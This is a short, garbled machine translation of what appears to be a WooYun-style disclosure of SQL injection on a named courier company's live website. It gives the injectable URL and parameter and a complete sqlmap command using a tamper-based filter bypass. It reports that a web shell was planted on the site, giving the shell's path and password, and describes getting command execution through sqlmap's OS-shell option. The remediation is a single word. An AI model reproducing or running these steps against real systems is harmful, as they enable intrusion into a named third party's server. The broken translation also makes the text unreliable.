Express Delivery security-Asian wind Express Delivery Main Site SQL Injection Command Execution causes the entire site to fall

Express Delivery security-Asian wind Express Delivery Main Site SQL Injection Command Execution causes the entire site to fall

Express safety of the Asian wind fast transport main site SQL Injection Command Execution caused the whole site fell into http://www.af-express.com/city.aspx? Wang = 957 & city = 974 & type = % E8 % B4 % 9F % E8 % B4 % A3 % E4 % BA & keywords = 123 the injection points are in the keywords parameter and are filtered, bypass with tamper
D: \ Tools \ WEB \ sqlmap> python sqlmap. py-u "http://www.af-express.com/city.aspx? Wang = 957 & city = 975 & type = % E8 % B4 % 9F % E8 % B4 % A3 % E4 % BA & keywords = 123 "-p keywords -- random-agent -- level 3 -- dbms = mssql -- tamper = space2comment -- threads = 8






One sentence address: http://af-express.com/wooyun.aspx password pass although in the kitchen knife virtual terminal can not execute the command, but can use sqlmap -- OS-shell option to execute the command. Remember to delete the vendor ..

The rigid solution:

Filter